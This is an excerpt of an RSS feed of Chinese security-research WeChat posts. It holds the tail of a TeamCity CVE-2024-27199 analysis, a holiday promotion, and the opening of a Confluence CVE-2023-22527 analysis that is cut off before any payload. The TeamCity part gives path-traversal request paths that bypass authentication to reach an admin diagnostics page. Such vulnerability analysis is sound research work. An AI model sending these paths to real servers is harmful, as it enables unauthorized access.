left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">当请求</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">/res/../admin/diagnostic.jsp</span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">时，会匹配到</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">/res/**</span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">，从而顺利通过拦截器校验。</span></span></span>    <o:page></o:page></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="288" data-backw="560" data-imgfileid="100004945" data-ratio="0.5148148148148148" width="560.010009765625" data-type="png" data-w="1080" height="288.0799865722656" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=1f7839aa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PDrf2RubgOkjibJTOMrzMSp0hETwCEKzn3o4EqONHsOU7pSLk4UmZZIKv3Y1OnJqJlSNUCIicnqSMg%2F640%3Fwx_fmt%3Dpng"/></span></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">同样，</span></span></span><span style="font-size: 17px;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">this.myPathsNotRequiringAuthentication</span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">其他含有通配符，且处理器为 NodeDiagnosticsController 的路径也能进行利用。</span></span></span></p><p style="mso-list:l1 level1 lfo1;margin-left:36.0pt;text-indent:-24.0pt;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;">•<span style="font:7.0pt Times New Roman;"></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="">/.well-known/acme-challenge/../../admin/diagnostic.jsp</span></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></p><p style="margin-bottom: 8px;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;visibility: visible;">补丁下载：</strong></p><p style="margin-left: 36pt;text-indent: -24pt;margin-bottom: 8px;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;">•<span style="font:7.0pt Times New Roman;"></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-size:12.0pt;font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;text-underline:none;text-decoration:none;">TeamCity 2018.2 及更高版本</span></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></p><p style="mso-list:l1 level1 lfo1;margin-left:36.0pt;text-indent:-24.0pt;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;visibility: visible;"></strong><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;">•<span style="font:7.0pt Times New Roman;"></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-size:12.0pt;font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;text-underline:none;text-decoration:none;">TeamCity 2018.1 及更早版本</span></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></p><p><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;">              <o:p> </o:p></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;font-variant:normal;text-transform:none;">更多利用方式可参考以下链接：</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: Cambria;mso-fareast-font-family: &#39;Cambria&#39;;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-size:12.0pt;font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;text-underline:none;text-decoration:none;"><a href="https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/" target="_blank">https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/</a></span></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span></p><p style="margin-top: 9pt;margin-bottom: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-size:12.0pt;font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;text-underline:none;text-decoration:none;"><a href="https://forum.butian.net/share/2801" target="_blank">https://forum.butian.net/share/2801</a></span></span></span><span style="mso-bookmark:cve-2024-27199;"><span style="mso-bookmark:漏洞分析-3;"><span style="font-family:Cambria;mso-ascii-font-family:Cambria;mso-fareast-font-family:Cambria;font-variant:normal;text-transform:none;"></span></span></span>    <o:page></o:page></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247488598">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c8907a8c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4Nzc3MTk3Mg%3D%3D%26mid%3D2247488598%26idx%3D1%26sn%3Dcdf765f5c51977504733f815ae5dd64b%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 27 Mar 2024 18:16:00 +0800</pubDate>
    </item>
    <item>
      <title>速抢！手慢无~元亨实验室龙年定制微信红包封面来喽！</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4Nzc3MTk3Mg==&amp;mid=2247488469&amp;idx=1&amp;sn=2b6f21d67c527a661e45b9b4250af346</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>元亨实验室</span> <span>2024-02-08 11:03</span> <span style="display: inline-block;">广西</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=3c48b771&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkAeFn7TN57OJ9u4ibwEFnKiaaJVha6jEIsUyib0dSln7Yvqib7SZwUNRndrZmH4ba4OWJkptPP1iaGmUibjSAibYoFj3g%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="margin: 0px 0px 24px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;clear: both;min-height: 1em;caret-color: rgba(0, 0, 0, 0.9);color: rgba(0, 0, 0, 0.9);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.5440000295639038px;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;visibility: visible;">为了迎接新年的到来</p><p style="margin: 0px 0px 24px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;clear: both;min-height: 1em;caret-color: rgba(0, 0, 0, 0.9);color: rgba(0, 0, 0, 0.9);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.5440000295639038px;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;visibility: visible;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;visibility: visible;">元亨实验室</strong>特别定制了</p><p style="margin: 0px 0px 24px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;clear: both;min-height: 1em;caret-color: rgba(0, 0, 0, 0.9);color: rgba(0, 0, 0, 0.9);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.5440000295639038px;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;visibility: visible;">微信红包封面<strong style="visibility: visible;"><span style="color: rgb(255, 0, 0);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;visibility: visible;">【元亨实验室金龙送福】</span></strong></p><p style="margin: 0px 0px 24px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;clear: both;min-height: 1em;caret-color: rgba(0, 0, 0, 0.9);color: rgba(0, 0, 0, 0.9);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.5440000295639038px;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;visibility: visible;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;visibility: visible;">限量开抢，拼手速啦！</strong></p><section><section style="display: inline-block;"><img data-ratio="1.612" data-type="jpg" data-w="1000" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=d69371f5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkAeFn7TN57OJ9u4ibwEFnKiaaJVha6jEIsUa6PrnMFjibxwE04ptCchd3THv3It7fCprDILSHk6wVUfC0TQqDON5w%2F640%3Fwx_fmt%3Djpeg"/></section>​</section><p style="margin: 0px 0px 24px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;clear: both;min-height: 1em;caret-color: rgba(0, 0, 0, 0.9);color: rgba(0, 0, 0, 0.9);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.5440000295639038px;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;visibility: visible;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;visibility: visible;"><br/></span></p><p style="margin: 0px 0px 24px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;clear: both;min-height: 1em;caret-color: rgba(0, 0, 0, 0.9);color: rgba(0, 0, 0, 0.9);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.5440000295639038px;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;visibility: visible;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;visibility: visible;">祝大家春节</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;visibility: visible;">快乐！</span><br/></p><p style="margin: 0px 0px 24px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;clear: both;min-height: 1em;caret-color: rgba(0, 0, 0, 0.9);color: rgba(0, 0, 0, 0.9);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.5440000295639038px;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;visibility: visible;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;visibility: visible;">新的一年漏洞无穷，赏金无尽！</span></p><p style="margin: 0px 0px 24px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;clear: both;min-height: 1em;caret-color: rgba(0, 0, 0, 0.9);color: rgba(0, 0, 0, 0.9);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.5440000295639038px;orphans: auto;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);-webkit-text-stroke-width: 0px;text-decoration: none;text-align: center;visibility: visible;">这个春节，就用它拜年吧～</p><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>



<p><a href="2247488469">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=24a6918e&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4Nzc3MTk3Mg%3D%3D%26mid%3D2247488469%26idx%3D1%26sn%3D2b6f21d67c527a661e45b9b4250af346%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 08 Feb 2024 11:03:00 +0800</pubDate>
    </item>
    <item>
      <title>Atlassian Confluence 模板注入漏洞分析（CVE-2023-22527）</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4Nzc3MTk3Mg==&amp;mid=2247488463&amp;idx=1&amp;sn=df501fd607b6e693cc4ddb34a644e8c8</link>
      <description>Confluence 存在 Velocity 模板注入漏洞，未经身份验证的攻击者可以直接访问`*.vm`文件传入恶意 Ognl 表达式来实现 RCE。</description>
      <content:encoded><![CDATA[<p>
原创 <span>元亨-blckder02</span> <span>2024-01-26 17:30</span> <span style="display: inline-block;">浙江</span>
</p>

<p>Confluence 存在 Velocity 模板注入漏洞，未经身份验证的攻击者可以直接访问`*.vm`文件传入恶意 Ognl 表达式来实现 RCE。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=72a9048e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkAeFn7TN57OkYVuO3JwviajgKEgwUJhfsJKuzSgVkyZWX5S1QY4IoHATibGgUUcI9ZcvmQD3CkyH0kKOGQlMicXAQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;text-align: left;"><span style="background-color: rgb(255, 255, 255);color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-decoration: underline;">1. 前言</span><br/></p><section style="text-align: left;margin-bottom: 8px;"><span style="font-size: 18px;">跟踪调试一下命令执行的过程，其实就是表达式递归解析，有些许繁琐。</span></section><section style="text-align: left;margin-bottom: 8px;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">官方公告：</span></strong><span style="font-size: 18px;"></span></section><p style="text-align: left;margin-bottom: 16px;"><span style="font-size: 18px;"><a href="https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-data-center-and-confluence-server-1333990257.html" target="_blank">https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-data-center-and-confluence-server-1333990257.html</a></span></p><p style="text-align: left;margin-bottom: 8px;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">漏洞描述：</span></strong></p><section style="text-align: left;margin-bottom: 16px;"><span style="font-size: 18px;">Confluence 存在 Velocity 模板注入漏洞，未经身份验证的攻击者可以直接访问</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">*.vm</span><span style="font-size: 18px;">文件传入恶意 OGNL 表达式来实现 RCE。</span></section><section style="text-align: left;margin-bottom: 8px;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">漏洞成因</span></strong><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">：</span></strong><span style="font-size: 18px;"></span></section><p style="text-align: left;margin-bottom: 8px;"><span style="font-size: 18px;">Velocity 模板渲染时需要的参数来自于上下文中，通过向上下文中传入恶意参数值，如果没有对参数进行过滤或进行了不当的调用，就会导致注入漏洞产生。</span></p><section style="text-align: left;margin-bottom: 16px;"><span style="font-size: 18px;">Confluence 使用了 Struts2 框架和 Velocity 模板引擎，所以可以通过 OGNL 表达式向 Velocity 模板中嵌入 Struts2 上下文的恶意数据来进行利用。</span></section><section style="text-align: left;margin-bottom: 8px;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">影响版本：</span></strong><span style="font-size: 18px;"></span></section><section style="text-align: left;margin-bottom: 8px;"><span style="font-size: 18px;">Confluence Data Center and Server：</span></section><ul class="list-paddingleft-1" style="list-style-type: disc;"><li><p style="text-align: left;"><span style="font-size: 18px;">8.0.x</span></p></li><li><p style="text-align: left;"><span style="font-size: 18px;">8.1.x</span></p></li><li><p style="text-align: left;"><span style="font-size: 18px;">8.2.x</span></p></li><li><p style="text-align: left;"><span style="font-size: 18px;">8.3.x</span></p></li><li><p style="text-align: left;"><span style="font-size: 18px;">8.4.x</span></p></li><li><section style="text-align: left;margin-bottom: 24px;"><span style="font-size: 18px;">8.5.0 ~ 8.5.3</span></section></li></ul><section style="letter-spacing: 0.578px;text-wrap: wrap;text-align: left;margin-bottom: 24px;"><span style="color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);text-decoration: underline;">2. 环境搭建</span></section><p style="text-align: left;margin-bottom: 16px;"><span style="font-size: 18px;">下载地址：<a href="https://www.atlassian.com/software/confluence/download-archives" target="_blank">https://www.atlassian.com/software/confluence/download-archives</a></span></p><p style="text-align: left;margin-bottom: 0px;"><span style="font-size: 18px;">官网下载 8.5.3 版本，下载对应系统的安装包和源码。</span></p><p style="text-align: left;margin-top: 16px;margin-bottom: 16px;"><img class="rich_pages wxw-img" data-backh="363" data-backw="578" data-galleryid="" data-imgfileid="100004783" data-ratio="0.6277777777777778" data-s="300,640" style="text-align: center;font-size: 18px;letter-spacing: 0.034em;width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=44271e5d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OkYVuO3JwviajgKEgwUJhfsnY4wwrVcg5VEibC2G4UItUkj5viad5yz3icqIaLySvTDFB6h6kvFr2OIw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><section style="text-align: left;margin-bottom: 8px;"><span style="font-size: 18px;">具体安装步骤之前有写过：</span><span style="color: rgba(0, 0, 0, 0.55);font-size: 15px;letter-spacing: 0.034em;text-align: justify;"></span></section><blockquote class="js_blockquote_wrap" data-type="1" data-url="https://mp.weixin.qq.com/s/rbbqmqTi-crJLprpV7Og8Q" data-author-name="元亨-blckder02" data-content-utf8-length="1" data-source-title="Confluence 数据中心和服务器中的访问控制漏洞(CVE-2023-22515)"><section class="blockquote_info js_blockquote_source" data-json="%7B%22type%22%3A%22inner%22%2C%22source%22%3A%22url%22%2C%22digest%22%3A%22%22%2C%22digestLen%22%3A14%2C%22text%22%3A%22CVE-2023-22515%22%2C%22article%22%3A%7B%22title%22%3A%22Confluence%20%E6%95%B0%E6%8D%AE%E4%B8%AD%E5%BF%83%E5%92%8C%E6%9C%8D%E5%8A%A1%E5%99%A8%E4%B8%AD%E7%9A%84%E8%AE%BF%E9%97%AE%E6%8E%A7%E5%88%B6%E6%BC%8F%E6%B4%9E(CVE-2023-22515)%22%2C%22url%22%3A%22https%3A%2F%2Fmp.weixin.qq.com%2Fs%2FrbbqmqTi-crJLprpV7Og8Q%22%2C%22nickname%22%3A%22%E4%B8%AD%E5%AD%9A%E5%AE%89%E5%85%A8%E6%8A%80%E6%9C%AF%E7%A0%94%E7%A9%B6%22%2C%22authorName%22%3A%22%E5%85%83%E4%BA%A8-blckder02%22%7D%2C%22hasReportOverSize%22%3Afalse%2C%22editorReportData%22%3A%5B%5D%7D"><span class="blockquote_biz">元亨-blckder02，公众号：中孚安全技术研究<a href="https://mp.weixin.qq.com/s/rbbqmqTi-crJLprpV7Og8Q" class="blockquote_article">Confluence 数据中心和服务器中的访问控制漏洞(CVE-2023-22515)</a></span></section><span style="font-size: 18px;letter-spacing: 0.034em;text-align: left;color: rgba(0, 0, 0, 0.9);"></span></blockquote><section style="text-align: left;margin-bottom: 16px;"><span style="font-size: 18px;">如果出现下面的报错，就按链接里的方法解决：</span><span style="font-size: 18px;letter-spacing: 0.034em;"><a href="http://confluence.atlassian.com/x/GAtmDg；" target="_blank">http://confluence.atlassian.com/x/GAtmDg；</a></span></section><p style="text-align: center;margin-top: 16px;margin-bottom: 16px;"><img class="rich_pages wxw-img" data-backh="290" data-backw="578" data-galleryid="" data-imgfileid="100004784" data-ratio="0.5018518518518519" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=a5268e2f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57OkYVuO3JwviajgKEgwUJhfsWyaHCeGm1D7bWtJGsF5HMowK5rturxys2RbLFjEBoxbd8icic8wsibZ1Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><section style="text-align: left;margin-bottom: 8px;"><span style="font-size: 18px;">也就是修改下</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 